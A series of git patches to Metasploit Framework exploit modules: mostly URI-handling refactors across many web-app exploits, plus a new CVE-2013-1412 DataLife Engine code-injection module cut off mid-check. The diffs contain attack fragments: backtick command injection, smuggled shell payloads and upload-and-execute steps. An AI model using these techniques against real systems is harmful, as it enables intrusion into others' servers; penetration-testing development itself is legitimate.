b/modules/exploits/unix/webapp/coppermine_piceditor.rb index 772eeb722c..170db130fc 100644 --- a/modules/exploits/unix/webapp/coppermine_piceditor.rb +++ b/modules/exploits/unix/webapp/coppermine_piceditor.rb @@ -71,7 +71,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/picEditor.php' + 'uri' => normalize_uri(datastore['URI'], '/picEditor.php') }, 25) if (res and res.body =~ /Coppermine Picture Editor/i) @@ -98,7 +98,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => normalize_uri(datastore['URI']) + "/picEditor.php", + 'uri' => normalize_uri(datastore['URI'], "/picEditor.php"), 'vars_post' => { 'angle' => angle, diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 58b051af1b..9dc2044cd7 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -58,12 +58,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}egallery/uploadify.php" + 'uri' => normalize_uri(uri, "egallery", "uploadify.php") }) if res and res.code == 200 and res.body.empty? @@ -97,7 +96,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{peer} - Sending PHP payload (#{payload_name})") res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}egallery/uploadify.php", + 'uri' => normalize_uri("#{uri}egallery/uploadify.php"), 'ctype' => "multipart/form-data; boundary=#{boundary}", 'data' => post_data }) @@ -113,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote # Execute our payload res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}#{payload_name}" + 'uri' => normalize_uri("#{uri}#{payload_name}") }) # If we don't get a 200 when we request our malicious payload, we suspect diff --git a/modules/exploits/unix/webapp/joomla_tinybrowser.rb b/modules/exploits/unix/webapp/joomla_tinybrowser.rb index 0ccb1efcfd..c7fa522c9f 100644 --- a/modules/exploits/unix/webapp/joomla_tinybrowser.rb +++ b/modules/exploits/unix/webapp/joomla_tinybrowser.rb @@ -54,9 +54,8 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php?type=file&folder=' + uri = normalize_uri(datastore['URI'], 'plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser/upload.php') + uri << '?type=file&folder=' res = send_request_raw( { 'uri' => uri diff --git a/modules/exploits/unix/webapp/openx_banner_edit.rb b/modules/exploits/unix/webapp/openx_banner_edit.rb index 7f9b9cd6f0..546bd1cf11 100644 --- a/modules/exploits/unix/webapp/openx_banner_edit.rb +++ b/modules/exploits/unix/webapp/openx_banner_edit.rb @@ -68,9 +68,7 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(datastore['URI']) - uri << '/' if uri[-1,1] != '/' - uri << 'www/admin/' + uri = normalize_uri(datastore['URI'], 'www', 'admin/') res = send_request_raw( { 'uri' => uri @@ -108,9 +106,7 @@ class Metasploit3 < Msf::Exploit::Remote # Static files img_dir = 'images/' - uri_base = normalize_uri(datastore['URI']) - uri_base << '/' if uri_base[-1,1] != '/' - uri_base << 'www/' + uri_base = normalize_uri(datastore['URI'], 'www/') # Need to login first :-/ cookie = openx_login(uri_base) @@ -166,7 +162,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + 'admin/index.php' + 'uri' => normalize_uri(uri_base, 'admin/index.php') }, 10) if not (res and res.body =~ /oa_cookiecheck\" value=\"([^\"]+)\"/) return nil @@ -176,7 +172,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'POST', - 'uri' => uri_base + 'admin/index.php', + 'uri' => normalize_uri(uri_base, 'admin/index.php'), 'vars_post' => { 'oa_cookiecheck' => cookie, @@ -201,7 +197,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_find_campaign(uri_base, cookie) res = send_request_raw( { - 'uri' => uri_base + 'admin/advertiser-campaigns.php', + 'uri' => normalize_uri(uri_base, 'admin/advertiser-campaigns.php'), 'headers' => { 'Cookie' => "sessionID=#{cookie}; PHPSESSID=#{cookie}", @@ -269,7 +265,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -287,7 +283,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner id! res = send_request_raw( { - 'uri' => uri_base + "admin/campaign-banners.php?clientid=#{adv_id}&campaignid=#{camp_id}", + 'uri' => normalize_uri(uri_base, "admin/campaign-banners.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}", 'method' => 'GET', 'headers' => { @@ -319,7 +315,7 @@ class Metasploit3 < Msf::Exploit::Remote # Ugh, now we have to get the banner name too! res = send_request_raw( { - 'uri' => uri_base + "admin/banner-edit.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-edit.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { @@ -338,7 +334,7 @@ class Metasploit3 < Msf::Exploit::Remote def openx_banner_delete(uri_base, cookie, adv_id, camp_id, ban_id) res = send_request_raw( { - 'uri' => uri_base + "admin/banner-delete.php?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", + 'uri' => normalize_uri(uri_base, "admin/banner-delete.php") + "?clientid=#{adv_id}&campaignid=#{camp_id}&bannerid=#{ban_id}", 'method' => 'GET', 'headers' => { diff --git a/modules/exploits/unix/webapp/oscommerce_filemanager.rb b/modules/exploits/unix/webapp/oscommerce_filemanager.rb index 66fa7d4ca2..7ca3dc9b58 100644 --- a/modules/exploits/unix/webapp/oscommerce_filemanager.rb +++ b/modules/exploits/unix/webapp/oscommerce_filemanager.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("Sending file save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/" + "admin/file_manager.php/login.php?action=save", + 'uri' => normalize_uri(datastore['URI'], "admin/file_manager.php/login.php") + "?action=save", 'method' => 'POST', 'data' => data, 'headers' => @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/" + File.basename(filename) + 'uri' => normalize_uri(datastore['URI'], File.basename(filename)) }, timeout) handler diff --git a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb index 9526b9f2fa..e6fcd81726 100644 --- a/modules/exploits/unix/webapp/php_wordpress_foxypress.rb +++ b/modules/exploits/unix/webapp/php_wordpress_foxypress.rb @@ -54,12 +54,11 @@ class Metasploit3 < Msf::Exploit::Remote end def check - uri = normalize_uri(target_uri.path) - uri << '/' if uri[-1,1] != '/' + uri = target_uri.path res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php" + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php") }) if res and res.code == 200 @@ -83,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi({ 'method' => 'POST', - 'uri' => "#{uri}wp-content/plugins/foxypress/uploadify/uploadify.php", + 'uri' => normalize_uri(uri, "wp-content/plugins/foxypress/uploadify/uploadify.php"), 'ctype' => 'multipart/form-data; boundary=' + post_data.bound, 'data' => post_data.to_s }) @@ -96,7 +95,7 @@ class Metasploit3 < Msf::Exploit::Remote print_good("#{peer} - Our payload is at: #{$1}.php! Calling payload...") res = send_request_cgi({ 'method' => 'GET', - 'uri' => "#{uri}wp-content/affiliate_images/#{$1}.php" + 'uri' => normalize_uri(uri, "wp-content/affiliate_images", "#{$1}.php") }) if res and res.code != 200 diff --git a/modules/exploits/unix/webapp/phpbb_highlight.rb b/modules/exploits/unix/webapp/phpbb_highlight.rb index 60dc44e643..f19ece646e 100644 --- a/modules/exploits/unix/webapp/phpbb_highlight.rb +++ b/modules/exploits/unix/webapp/phpbb_highlight.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote 1.upto(32) do |x| res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/viewtopic.php?topic=' + x.to_s, + 'uri' => normalize_uri(datastore['URI'], '/viewtopic.php') + '?topic=' + x.to_s, }, 25) if (res and res.body.match(/class="postdetails"/)) @@ -92,14 +92,14 @@ class Metasploit3 < Msf::Exploit::Remote return else - sploit = normalize_uri(datastore['URI']) + "/viewtopic.php?t=#{topic}&highlight=" + sploit = normalize_uri(datastore['URI'], "/viewtopic.php") + "?t=#{topic}&highlight=" case target.name when /Automatic/ req = "/viewtopic.php?t=#{topic}&highlight=%2527%252ephpinfo()%252e%2527" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + req + 'uri' => normalize_uri(datastore['URI'], req) }, 25) print_status("Trying to determine which attack method to use...") diff --git a/modules/exploits/unix/webapp/phpmyadmin_config.rb b/modules/exploits/unix/webapp/phpmyadmin_config.rb index f215e4b11a..55f894ffc3 100644 --- a/modules/exploits/unix/webapp/phpmyadmin_config.rb +++ b/modules/exploits/unix/webapp/phpmyadmin_config.rb @@ -74,7 +74,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit # First, grab the session cookie and the CSRF token print_status("Grabbing session cookie and CSRF token") - uri = normalize_uri(datastore['URI']) + "/scripts/setup.php" + uri = normalize_uri(datastore['URI'], "/scripts/setup.php") response = send_request_raw({ 'uri' => uri}) if !response fail_with(Exploit::Failure::NotFound, "Failed to retrieve hash, server may not be vulnerable.") @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote # Now that we've got the cookie and token, send the evil print_status("Sending save request") response = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/scripts/setup.php", + 'uri' => normalize_uri(datastore['URI'], "/scripts/setup.php"), 'method' => 'POST', 'data' => data, 'cookie' => cookie, @@ -120,7 +120,7 @@ class Metasploit3 < Msf::Exploit::Remote response = send_request_raw({ # Allow findsock payloads to work 'global' => true, - 'uri' => normalize_uri(datastore['URI']) + "/config/config.inc.php" + 'uri' => normalize_uri(datastore['URI'], "/config/config.inc.php") }, timeout) handler diff --git a/modules/exploits/unix/webapp/projectpier_upload_exec.rb b/modules/exploits/unix/webapp/projectpier_upload_exec.rb index 06af2b28c7..4b5b2a4745 100644 --- a/modules/exploits/unix/webapp/projectpier_upload_exec.rb +++ b/modules/exploits/unix/webapp/projectpier_upload_exec.rb @@ -63,7 +63,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base}/index.php", + 'uri' => normalize_uri("#{base}/index.php"), 'vars_get' => { 'c' => 'access', diff --git a/modules/exploits/unix/webapp/redmine_scm_exec.rb b/modules/exploits/unix/webapp/redmine_scm_exec.rb index 83de69d3d7..9de06547ac 100644 --- a/modules/exploits/unix/webapp/redmine_scm_exec.rb +++ b/modules/exploits/unix/webapp/redmine_scm_exec.rb @@ -55,7 +55,7 @@ class Metasploit3 < Msf::Exploit::Remote def exploit command = Rex::Text.uri_encode(payload.encoded) - urlconfigdir = normalize_uri(datastore['URI']) + "/repository/annotate?rev=`#{command}`" + urlconfigdir = normalize_uri(datastore['URI'], "/repository/annotate") + "?rev=`#{command}`" res = send_request_raw({ 'uri' => urlconfigdir, diff --git a/modules/exploits/unix/webapp/sphpblog_file_upload.rb b/modules/exploits/unix/webapp/sphpblog_file_upload.rb index 6e1c95852a..07465ee236 100644 --- a/modules/exploits/unix/webapp/sphpblog_file_upload.rb +++ b/modules/exploits/unix/webapp/sphpblog_file_upload.rb @@ -57,7 +57,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + '/index.php' + 'uri' => normalize_uri(datastore['URI'], '/index.php') }, 25) if (res and res.body =~ /Simple PHP Blog (\d)\.(\d)\.(\d)/) @@ -79,7 +79,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_password_hash(file) res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + file, + 'uri' => normalize_uri(datastore['URI'], file) }, 25) if (res and res.message == "OK" and res.body) @@ -94,7 +94,7 @@ class Metasploit3 < Msf::Exploit::Remote def create_new_password(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + '/install03_cgi.php', + 'uri' => normalize_uri(datastore['URI'], '/install03_cgi.php'), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote def retrieve_session(user, pass) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + "/login_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/login_cgi.php"), 'method' => 'POST', 'data' => "user=#{user}&pass=#{pass}", }, 25) @@ -139,7 +139,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n--#{boundary}--" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + "/upload_img_cgi.php", + 'uri' => normalize_uri(datastore['URI'], "/upload_img_cgi.php"), 'method' => 'POST', 'data' => data, 'headers' => @@ -160,7 +160,7 @@ class Metasploit3 < Msf::Exploit::Remote def reset_original_password(hash, scriptlocation) res = send_request_cgi({ - 'uri' => normalize_uri(datastore['URI']) + scriptlocation, + 'uri' => normalize_uri(datastore['URI'], scriptlocation), 'method' => 'POST', 'data' => "hash=" + hash, }, 25) @@ -177,7 +177,7 @@ class Metasploit3 < Msf::Exploit::Remote delete_path = "/comment_delete_cgi.php?y=05&m=08&comment=.#{file}" res = send_request_raw({ - 'uri' => normalize_uri(datastore['URI']) + delete_path, + 'uri' => normalize_uri(datastore['URI'], delete_path), }, 25) if (res) diff --git a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb index 40311c1ed3..9f8aadb621 100644 --- a/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/sugarcrm_unserialize_exec.rb @@ -75,7 +75,6 @@ class Metasploit3 < Msf::Exploit::Remote def exploit base = normalize_uri(target_uri.path) - base << '/' if base[-1, 1] != '/' @peer = "#{rhost}:#{rport}" username = datastore['USERNAME'] @@ -89,7 +88,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}index.php" , + 'uri' => normalize_uri(base, "index.php") , 'method' => "POST", 'headers' => { diff --git a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb index a051069c93..99f57424e1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_graph_formula_exec.rb @@ -58,7 +58,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET', 'headers' => { @@ -155,8 +155,7 @@ class Metasploit3 < Msf::Exploit::Remote # when exploiting this vulnerability :) # def build_uri(f_val) - uri = normalize_uri(datastore['URI']) - uri << "/tiki-graph_formula.php?" + uri = normalize_uri(datastore['URI'], "/tiki-graph_formula.php?") # Requirements: query = '' diff --git a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb index c2f500447e..7fac9b73f1 100644 --- a/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_jhot_exec.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote def check res = send_request_raw( { - 'uri' => normalize_uri(datastore['URI']) + "/tiki-index.php", + 'uri' => normalize_uri(datastore['URI'], "/tiki-index.php"), 'method' => 'GET' }, 25) @@ -82,7 +82,7 @@ class Metasploit3 < Msf::Exploit::Remote end def create_temp_file - url_jhot = normalize_uri(datastore['URI']) + "/jhot.php" + url_jhot = normalize_uri(datastore['URI'], "/jhot.php") scode = "\x0d\x0a\x3c\x3f\x70\x68\x70\x0d\x0a\x2f\x2f\x20\x24\x48\x65\x61" + @@ -153,7 +153,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exe_command(cmd) - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, @@ -182,7 +182,7 @@ class Metasploit3 < Msf::Exploit::Remote end def remove_temp_file - url_config = normalize_uri(datastore['URI']) + "/img/wiki/tiki-config.php" + url_config = normalize_uri(datastore['URI'], "/img/wiki/tiki-config.php") res = send_request_raw({ 'uri' => url_config, diff --git a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb index f6908cbf6d..bb5f625e56 100644 --- a/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb +++ b/modules/exploits/unix/webapp/tikiwiki_unserialize_exec.rb @@ -78,7 +78,7 @@ class Metasploit3 < Msf::Exploit::Remote end def exploit - base = normalize_uri(target_uri.path) + base = target_uri.path base << '/' if base[-1, 1] != '/' @upload_php = rand_text_alpha(rand(4) + 4) + ".php" @peer = "#{rhost}:#{rport}" @@ -86,7 +86,7 @@ class Metasploit3 < Msf::Exploit::Remote print_status("#{@peer} - Disclosing the path of the Tiki Wiki on the filesystem") res = send_request_cgi( - 'uri' => "#{base}tiki-rss_error.php" + 'uri' => normalize_uri(base, "tiki-rss_error.php") ) if not res or res.code != 200 or not res.body =~ /[> ](\/.*)tiki-rss_error\.php/ @@ -112,7 +112,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { - 'uri' => "#{base}tiki-print_multi_pages.php", + 'uri' => normalize_uri(base, "tiki-print_multi_pages.php"), 'method' => 'POST', 'vars_post' => { 'printpages' => printpages @@ -129,7 +129,7 @@ class Metasploit3 < Msf::Exploit::Remote res = send_request_cgi( { 'method' => 'GET', - 'uri' => "#{base + @upload_php}", + 'uri' => normalize_uri(base, @upload_php), 'headers' => { 'Cmd' => Rex::Text.encode_base64(payload.encoded) } diff --git a/modules/exploits/unix/webapp/twiki_history.rb b/modules/exploits/unix/webapp/twiki_history.rb index 42bccd1b2f..98b628b9f8 100644 --- a/modules/exploits/unix/webapp/twiki_history.rb +++ b/modules/exploits/unix/webapp/twiki_history.rb @@ -61,8 +61,8 @@ class Metasploit3 < Msf::Exploit::Remote # def check test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers?rev=' - test_url = normalize_uri(datastore['URI']) + '/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers?rev=') + test_url = normalize_uri(datastore['URI'], test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote rev = rand_text_numeric(1+rand(5)) rev << ' `' + payload.encoded + '`#' - query_str = normalize_uri(datastore['URI']) + '/view/Main/TWikiUsers' + query_str = normalize_uri(datastore['URI'], '/view/Main/TWikiUsers') query_str << '?rev=' query_str << Rex::Text.uri_encode(rev) diff --git a/modules/exploits/unix/webapp/twiki_search.rb b/modules/exploits/unix/webapp/twiki_search.rb index 741f7eef42..b27a6f4e23 100644 --- a/modules/exploits/unix/webapp/twiki_search.rb +++ b/modules/exploits/unix/webapp/twiki_search.rb @@ -56,8 +56,8 @@ class Metasploit3 < Msf::Exploit::Remote def check content = rand_text_alphanumeric(16+rand(16)) test_file = rand_text_alphanumeric(8+rand(8)) - cmd_base = normalize_uri(datastore['URI']) + '/view/Main/WebSearch?search=' - test_url = normalize_uri(datastore['URI']) + '/view/Main/' + test_file + cmd_base = normalize_uri(datastore['URI'], '/view/Main/WebSearch?search=') + test_url = normalize_uri(datastore['URI'], '/view/Main/', test_file) # first see if it already exists (it really shouldn't) res = send_request_raw({ @@ -105,13 +105,13 @@ class Metasploit3 < Msf::Exploit::Remote search = rand_text_alphanumeric(1+rand(8)) search << "';" + payload.encoded + ";#\'" - query_str = normalize_uri(datastore['URI']) + '/view/Main/WebSearch' + query_str = normalize_uri(datastore['URI'], '/view/Main/WebSearch') query_str << '?search=' query_str << Rex::Text.uri_encode(search) res = send_request_cgi({ 'method' => 'GET', - 'uri' => query_str, + 'uri' => query_str, }, 25) if (res and res.code == 200) diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index c73b3b2499..e38a0979c8 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) + res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable diff --git a/modules/exploits/windows/http/sybase_easerver.rb b/modules/exploits/windows/http/sybase_easerver.rb index e095918645..3fd2b947b8 100644 --- a/modules/exploits/windows/http/sybase_easerver.rb +++ b/modules/exploits/windows/http/sybase_easerver.rb @@ -70,7 +70,7 @@ class Metasploit3 < Msf::Exploit::Remote # Sending the request res = send_request_cgi({ - 'uri' => normalize_uri(datastore['DIR']) + '/Login.jsp?' + crash, + 'uri' => normalize_uri(datastore['DIR'], '/Login.jsp?') + crash, 'method' => 'GET', 'headers' => { 'Accept' => '*/*', diff --git a/modules/exploits/windows/http/sysax_create_folder.rb b/modules/exploits/windows/http/sysax_create_folder.rb index 76322d9aab..9d43164587 100644 --- a/modules/exploits/windows/http/sysax_create_folder.rb +++ b/modules/exploits/windows/http/sysax_create_folder.rb @@ -126,11 +126,11 @@ class Metasploit3 < Msf::Exploit::Remote pass = datastore['SysaxPASS'] creds = "fd=#{Rex::Text.encode_base64(user+"\x0a"+pass)}" - uri = normalize_uri(target_uri.to_s) + uri = target_uri.to_s # Login to get SID value r = send_request_cgi({ 'method' => "POST", - 'uri' => "#{uri}/scgi?sid=0&pid=dologin", + 'uri' => normalize_uri("#{uri}/scgi?sid=0&pid=dologin"), 'data' => creds }) @@ -148,7 +148,7 @@ class Metasploit3 < Msf::Exploit::Remote random_folder_name = rand_text_alpha(8) # This folder should not exist in the root dir uri normalize_uri(target_uri.to_s) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=transferpage2_name1_#{random_folder_name}.htm"), 'method' => 'POST', }) @@ -184,7 +184,7 @@ class Metasploit3 < Msf::Exploit::Remote post_data.bound = rand_text_numeric(57) # example; "---------------------------12816808881949705206242427669" uri = normalize_uri(target_uri.to_s) r = send_request_cgi({ - 'uri' => "#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm", + 'uri' => normalize_uri("#{uri}/scgi?sid=#{sid}&pid=mk_folder2_name1.htm"), 'method' => 'POST', 'data' => post_data.to_s, 'ctype' => "multipart/form-data; boundary=#{post_data.bound}", diff --git a/modules/exploits/windows/iis/ms02_065_msadc.rb b/modules/exploits/windows/iis/ms02_065_msadc.rb index 137a1686c8..b97524a3df 100644 --- a/modules/exploits/windows/iis/ms02_065_msadc.rb +++ b/modules/exploits/windows/iis/ms02_065_msadc.rb @@ -85,7 +85,7 @@ class Metasploit3 < Msf::Exploit::Remote data = 'Content-Type: ' + sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/AdvancedDataFactory.Query', + 'uri' => normalize_uri(datastore['PATH'], '/AdvancedDataFactory.Query'), 'headers' => { 'Content-Length' => data.length, diff --git a/modules/exploits/windows/iis/msadc.rb b/modules/exploits/windows/iis/msadc.rb index 60d1f7b814..d3383308df 100644 --- a/modules/exploits/windows/iis/msadc.rb +++ b/modules/exploits/windows/iis/msadc.rb @@ -128,7 +128,7 @@ class Metasploit3 < Msf::Exploit::Remote data << sploit res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/' + method, + 'uri' => normalize_uri(datastore['PATH'], method), 'agent' => 'ACTIVEDATA', 'headers' => { @@ -200,7 +200,7 @@ class Metasploit3 < Msf::Exploit::Remote data << "\r\n\r\n--#{boundary}--\r\n" res = send_request_raw({ - 'uri' => normalize_uri(datastore['PATH']) + '/VbBusObj.VbBusObjCls.GetMachineName', + 'uri' => normalize_uri(datastore['PATH'], '/VbBusObj.VbBusObjCls.GetMachineName'), 'agent' => 'ACTIVEDATA', 'headers' => { From 66ca906bfb7b1d7bffecc8e6e45905f98fe88b8f Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 01:56:05 -0600 Subject: [PATCH 075/129] This is a string, not a variable --- modules/exploits/multi/http/mobilecartly_upload_exec.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/multi/http/mobilecartly_upload_exec.rb b/modules/exploits/multi/http/mobilecartly_upload_exec.rb index 61f076de2f..34ea77ce51 100644 --- a/modules/exploits/multi/http/mobilecartly_upload_exec.rb +++ b/modules/exploits/multi/http/mobilecartly_upload_exec.rb @@ -109,7 +109,7 @@ class Metasploit3 < Msf::Exploit::Remote # Run payload # print_status("#{@peer} - Requesting '#{php_fname}'") - send_request_cgi({ 'uri' => normalize_uri(base, pages, php_fname) }) + send_request_cgi({ 'uri' => normalize_uri(base, 'pages', php_fname) }) handler end From 4de5e475c30358656821252021686240e919fac2 Mon Sep 17 00:00:00 2001 From: sinn3r Date: Thu, 31 Jan 2013 02:15:50 -0600 Subject: [PATCH 076/129] Fix check --- modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb index e38a0979c8..c73b3b2499 100644 --- a/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb +++ b/modules/exploits/windows/http/sonicwall_scrutinizer_sqli.rb @@ -62,7 +62,7 @@ class Metasploit3 < Msf::Exploit::Remote def check - res = send_request_raw({'uri'=>normalize_uri(target_uri.path)}) + res = send_request_raw({'uri'=>normalize_uri(target_uri.host)}) if res and res.body =~ /\Scrutinizer\<\/title\>/ and res.body =~ /\
Scrutinizer 9\.[0-5]\.[0-1]\<\/div\>/ return Exploit::CheckCode::Vulnerable From 365e1b055749fc33a9d2550335ad1c3b96fe3a82 Mon Sep 17 00:00:00 2001 From: jvazquez-r7 Date: Thu, 31 Jan 2013 16:09:14 +0100 Subject: [PATCH 077/129] added module for cve-2013-1412 --- .../unix/webapp/datalife_preview_exec.rb | 94 +++++++++++++++++++ 1 file changed, 94 insertions(+) create mode 100644 modules/exploits/unix/webapp/datalife_preview_exec.rb diff --git a/modules/exploits/unix/webapp/datalife_preview_exec.rb b/modules/exploits/unix/webapp/datalife_preview_exec.rb new file mode 100644 index 0000000000..2d3a1398ff --- /dev/null +++ b/modules/exploits/unix/webapp/datalife_preview_exec.rb @@ -0,0 +1,94 @@ +## +# This file is part of the Metasploit Framework and may be subject to +# redistribution and commercial restrictions. Please see the Metasploit +# web site for more information on licensing and terms of use. +# http://metasploit.com/ +## + +require 'msf/core' + +class Metasploit3 < Msf::Exploit::Remote + Rank = ExcellentRanking + + include Msf::Exploit::Remote::HttpClient + + def initialize(info = {}) + super(update_info(info, + 'Name' => 'DataLife Engine preview.php PHP Code Injection', + 'Description' => %q{ + This module exploits a PHP code injection vulnerability DataLife Engine 9.7. + The vulnerability exists in preview.php, due to an insecure usage of preg_replace() + with the e modifier, which allows to inject arbitrary php code, when the template + in use contains a [catlist] or [not-catlist] tag. + }, + 'Author' => + [ + 'EgiX', # Vulnerability discovery + 'juan vazquez' # Metasploit module + ], + 'License' => MSF_LICENSE, + 'References' => + [ + [ 'CVE', '2013-1412' ], + [ 'BID', '57603' ], + [ 'EDB', '24438' ], + [ 'URL', 'http://karmainsecurity.com/KIS-2013-01' ], + [ 'URL', 'http://dleviet.com/dle/bug-fix/3281-security-patches-for-dle-97.html' ] + ], + 'Privileged' => false, + 'Platform' => ['php'], + 'Arch' => ARCH_PHP, + 'Payload' => + { + 'Keys' => ['php'] + }, + 'DisclosureDate' => 'Jan 28 2013', + 'Targets' => [ ['DataLife Engine 9.7', { }], ], + 'DefaultTarget' => 0 + )) + + register_options( + [ + OptString.new('TARGETURI', [ true, "The base path to the web application", "/"]) + ], self.class) + end + + def base + base = normalize_uri(target_uri.path) + return base + end + + def check + fingerprint = rand_text_alpha(4+rand(4)) + res = send_request_cgi( + { + 'uri' => "#{base}/engine/preview.php", + 'method' => 'POST', + 'vars_post' => + { + 